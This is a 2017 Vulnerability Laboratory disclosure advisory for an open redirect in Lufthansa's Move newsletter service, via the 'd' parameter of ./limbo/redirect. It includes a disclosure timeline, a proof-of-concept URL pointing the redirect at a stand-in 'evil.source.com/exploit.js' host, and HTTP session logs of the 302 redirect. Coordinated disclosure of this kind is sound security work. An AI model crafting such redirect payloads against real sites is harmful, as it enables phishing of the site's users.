Lufthansa AG - (Limbo) Open Redirect Web Vulnerability

Document Title:
===============
Lufthansa AG - (Limbo) Open Redirect Web Vulnerability


References (Source):
====================
https://www.vulnerability-lab.com/get_content.php?id=2060

LHPROD-66558 (COM-1036050)


Release Date:
=============
2017-05-22


Vulnerability Laboratory ID (VL-ID):
====================================
2060


Common Vulnerability Scoring System:
====================================
2.8


Vulnerability Class:
====================
Redirect or Open Redirect


Product & Service Introduction:
===============================
Deutsche Lufthansa AG, commonly known as Lufthansa, is the largest German airline and, when combined with its subsidiaries, 
also the largest airline in Europe, in terms of fleet size, and the second largest airline in terms of passengers carried 
during 2016. It operates services to 18 domestic destinations and 197 international destinations in 78 countries across 
Africa, the Americas, Asia, and Europe, using a fleet of more than 270 aircraft. Lufthansa is one of the five founding 
members of Star Alliance, the world's largest airline alliance, formed in 1997.

(Copy of the Homepage: https://en.wikipedia.org/wiki/Lufthansa )


Abstract Advisory Information:
==============================
The vulnerability laboratory core research team discovered a open redirect vulnerability in the official Lufthansa Move online service web-application.


Vulnerability Disclosure Timeline:
==================================
2017-04-27: Researcher Notification & Coordination (Benjamin Kunz Mejri - Evolution Security GmbH)
2017-04-28: Vendor Notification (Lufthansa AG Security Department)
2017-04-29: Vendor Response/Feedback (Lufthansa AG Security Department)
2017-05-10: Vendor Fix/Patch by Check (Lufthansa AG Developer Team)
2017-05-20: Security Acknowledgements (Lufthansa AG Security Department)
2017-05-23: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================
Lufthansa AG
Product: Move & Newsletter - Limbo (Web-Application) 2017 Q2


Exploitation Technique:
=======================
Remote


Severity Level:
===============
Low


Technical Details & Description:
================================
An open redirect web vulnerability has been discovered in the official Lufthansa Move online service web-application.
The vulnerability allows remote attackers to execute external urls by the internal web-application requests via client-side.

The vulnerability is located in `./limbo/redirect` module with vulnerable parameter `d`. The vulnerability allows remote attackers 
to prepare client-side malicious urls to external sources. The request method to execute is GET and the vulnerability is located 
on the client-side of the move newsletter service to the lufthansa profile. The vulnerability is a classic open redirect vulnerability.

The security risk of the redirect vulnerability is estimated as medium with a cvss (common vulnerability scoring system) count of 3.0.
Exploitation of the client-side redirect vulnerability requiresno privilege web-application user account and only low user interaction. 
Successful exploitation of the vulnerability results in non-persistent external redirect to malicious sources and client-side phishing.

Request Method(s):
[+] GET

Vulnerable Service(s):
[+] your.lufthansa-group.com

Vulnerable Module(s):
[+] ./limbo/redirect

Vulnerable Parameter(s):
[+] d

Affected Service(s):
[+] move.lufthansa.com


Proof of Concept (PoC):
=======================
The open redirect web vulnerability can be exploited by remote attackers without user account and with low user interaction.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.


Original Request:
https://your.lufthansa-group.com/pub/cc?_ri_=X0Gzc2X%3DYQpglLjHJlTQGmrUhgyT4AotrszbzaTU3tScqizffB7zbPa3Tv5IFyWKLmLXYqfzf7fMEzaRVXtpKX%3DSBCDSSWT&_ei_=EjR5MRQouAjkwef0uTDa2Ws8ZN_Zq_zTH8nO7yCs5axIS7sGAa1jfSFxiG0c9RFOQ6uRhyz7bFSebyOLMAvaVG-J3zDmEPR8PF2u7Y6_f6CfHwnLDe0lC-
OWscudcyechVbEvtuqT9i9eoLbXrLMOnE-dppbUD-NTWBvOlLw2ResuClthBYH0XvyKBG2Za_sNPwiz8R9ny1JnsohxPrI69kDRS24DS6j25jZTt-9rV-CQ6sSo3nsqWE7zDoTUzo_
LsF4Up1aur6UJcDtB552liuiHNtwnJN-Ghwc0bcpgJF3afCXpl12SzvvPPAC3xps2co0Gw__SJV6BnLixgLlbwNF7OEEU5x44dAJrx_6WzXRDNpzUgtjKUW96WcqlzNeNeVUqT4240
ZMPp7ySpxN1r6YqYlXhd6z1yfqMWlG4w_4icw3B_zoq2kAIlyMMoOK0i-OlpLB_CmVk2vbBb72CnAhBEWAeP31-GDaxBk4PgQYaBRChY1hRwuzptKP6FA-0Af4nmCwv2KGQgjY9wKi
iTl2CjKD0PgGnfks3-J4bBC5HFeSKvRI4fw_TyU68_TgeQ8eIn74cVBxkeFlb7LZA49yJ0lQo7DPJIH1Smkp1nOxo7eFVNj6NGMWAUVOCaBAKNz5svVNjVkS5WOkPYMpx9H65d88N5F5883Ck6nRTBlTv7hPa
N7vPYoW_oWThii27BhNaSKBmqeqetftYgw_uq480IrRPqhhWoVfHuhMKqLxkO6C1cUxPhC4oZakNzZDRmGSWJeXl0kI4XXRa1dnoTTFxR3VdpRBm3uoG335pgB3PTHx-T-u5Ti_PCOvKY
__kd6TNKw1BPrFkHUl-v3IoExAX92xDYcR4I6ajR0EuXUbp6z3mkGxy3UDhJv50sdkAEIFQlkX9KrWh78YayhIqypA5iVj5pKRy6pisu6tBZn98zj_XGOpTLGNBDPrxK5DaieQCa4813w
WFHsg4X6182gxvu7l9-aLlH5V11YowQnjsflMTZSSE36Ppx-IEYFn9XcDyY_M6vgHDhkbyhI5w_lc_krcZHXMAc2WcO-Oq0CO_DVot-qkon8ILOnPBNz6M7JNMQCOAhP4CiU2Br2GRdSn
Mm0sQI4verfiAZHYjfurEYs98y69E3G2F-7efVOnaVatrcaAD3ZxpM9dqa8eCaA-JdUBPv8qRzQE2XMyB8XNc88pz46k8oaFPQjIIlXrCrxlDSBs1sTSXhnQVPADa5VK.


Weiterleitung:
http://move.lufthansa.com/limbo/redirect?r1=DE&r2=2&r3=1&r4=D&r5=1&r6=2017042613&r7=5&r8=STD&r10=2299747012&r12=footer_17&d=https%3A%2F%2F
your.lufthansa-group.com%2Fpub%2Frf%3F_ri_%3DX0Gzc2X%253DWQpglLjHJlTQGhMY4OuN96IMrakayYu0J37zbrwRbkrf2VwjpnpgHlpgneHmgJoXX0Gzc2X%253DWQpglL
jHJlTQGtceOzgEi3Hr1qvNamHHRdcYzbrwRbkrf2%26RIID_%3D2299747012%26CS%3D0b67ece8fa2532d455bf0d921fc4b46652461482%26MOBILE%3D0&m=https%3A%2F%2F
your.lufthansa-group.com%2Fpub%2Frf%3F_ri_%3DX0Gzc2X%253DWQpglLjHJlTQGhMY4OuN96IMrakayYu0J37zbrwRbkrf2VwjpnpgHlpgneHmgJoXX0Gzc2X%253DWQpglL
jHJlTQGtceOzgEi3Hr1qvNamHHRdcYzbrwRbkrf2%26RIID_%3D2299747012%26CS%3D0b67ece8fa2532d455bf0d921fc4b46652461482%26MOBILE%3D1


Exploitation:
https://move.lufthansa.com/limbo/redirect?r1=DE&r2=2&r3=1&r4=D&r5=1&r6=2017042613&r7=5&r8=STD&r10=2299747012&r12=footer_17&d=http://www.evil.source.com/exploit.js


--- PoC Session Logs [GET] ---
Status: 302[Found]
POST http://move.lufthansa.com/limbo/redirect?r1=DE&r2=2&r3=1&r4=D&r5=1&r6=2017042613&r7=5&r8=STD&r10=2299747012&r12=footer_17&d=http%3a%2f%2fwww.vulnerability-lab.com 
Mime Type[text/html]
   Request Header:
      Host[move.lufthansa.com]
      User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0]
      Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
      Referer[http://move.lufthansa.com/limbo/redirect?r1=DE&r2=2&r3=1&r4=D&r5=1&r6=2017042613&r7=5&r8=STD&r10=2299747012&r12=footer_17&d=http://www.vulnerability-lab.com]
      Cookie[IncomingGUID=60f4ca78-a051-4768-92b6-3f89c4f6d1cc]
      Connection[keep-alive]
      Upgrade-Insecure-Requests[1]
   POST-Daten:
      __VIEWSTATE[%2FwEPDwUKMTc5NTA2NTY5Ng8WAh4TVmFsaWRhdGVSZXF1ZXN0TW9kZQIBZGQLUmbNXaej59xTYRYaTJz1QewyFA%3D%3D]
      __VIEWSTATEGENERATOR[8E3DD909]
      hidWidth[1920]
      hidReferrer[]
   Response Header:
      Content-Type[text/html; charset=utf-8]
      Location[http://www.vulnerability-lab.com?WT.mc_id=NLemail_lhcom_DE_D_footer_17]
      Server[Microsoft-IIS/7.5]
      X-AspNet-Version[4.0.30319]
      Set-Cookie[IncomingGUID=287d2317-d2e6-4ecb-b718-a293b36223c7; domain=.lufthansa.com; expires=Thu, 27-Apr-2017 12:54:49 GMT; path=/]
      X-Powered-By[ASP.NET]
      Content-Length[2838]
-
Status: 302[Found]
GET http://www.vulnerability-lab.com/?WT.mc_id=NLemail_lhcom_DE_D_footer_17 
Mime Type[text/html]
   Request Header:
      Host[www.vulnerability-lab.com]
      User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0]
      Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
      Referer[http://move.lufthansa.com/limbo/redirect?r1=DE&r2=2&r3=1&r4=D&r5=1&r6=2017042613&r7=5&r8=STD&r10=2299747012&r12=footer_17&d=http://www.vulnerability-lab.com]
      Cookie[NID=102=H4jII-f7hGpiTuv73yHdCqZhdF4SCRc5Es5FlWygDr6jEM3NIoPtgd2AAU1fn_i-nPou1A92ICYa1CHfLdacAwhnmnw-6ON4cyTZtfmrs1s_otsvlt46bTb6-E9ZBJQ9; CONSENT=WP.25f96c]
      Connection[keep-alive]
      Upgrade-Insecure-Requests[1]
   Response Header:
      Location[https://www.vulnerability-lab.com/?WT.mc_id=NLemail_lhcom_DE_D_footer_17&gws_rd=ssl]
      Content-Type[text/html; charset=UTF-8]
      Server[gws]
      Content-Length[272]
      X-Frame-Options[SAMEORIGIN]
-
Status: 200[OK]
GET https://www.vulnerability-lab.com/?WT.mc_id=NLemail_lhcom_DE_D_footer_17&gws_rd=ssl 
Mime Type[text/html]
   Request Header:
      Host[www.vulnerability-lab.com]
      User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0]
      Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
      Referer[http://move.lufthansa.com/limbo/redirect?r1=DE&r2=2&r3=1&r4=D&r5=1&r6=2017042613&r7=5&r8=STD&r10=2299747012&r12=footer_17&d=http://www.vulnerability-lab.com]
      Cookie[NID=102=H4jII-f7hGpiTuv73yHdCqZhdF4SCRc5Es5FlWygDr6jEM3NIoPtgd2AAU1fn_i-nPou1A92ICYa1CHfLdacAwhnmnw-6ON4cyTZtfmrs1s_otsvlt46bTb6-E9ZBJQ9; CONSENT=WP.25f96c]
      Connection[keep-alive]
      Upgrade-Insecure-Requests[1]
   Response Header:
      Cache-Control[private, max-age=0]
      Content-Type[text/html; charset=UTF-8]
      Server[gws]
      X-Frame-Options[SAMEORIGIN]
      Alt-Svc[quic=":443"; ma=2592000; v="37,36,35"]
      X-Firefox-Spdy[h2]


Reference(s):
http://move.lufthansa.com/
http://move.lufthansa.com/limbo/
http://move.lufthansa.com/limbo/redirect
https://your.lufthansa-group.com/
https://your.lufthansa-group.com/pub/
https://your.lufthansa-group.com/pub/cc


Solution - Fix & Patch:
=======================
The vulnerability can be resolved by disallowing to request external sources outside the allowed static lufthansa urls.
Check the requested urls to prevent client-side exploitation by remote attackers.


Security Risk:
==============
The security risk of the open redirect web vulnerability in the lufthansa move web-application is estimated as low (CVSS 2.8).


Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (http://www.vulnerability-lab.com/show.php?user=Benjamin%20K.M.)


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=========================
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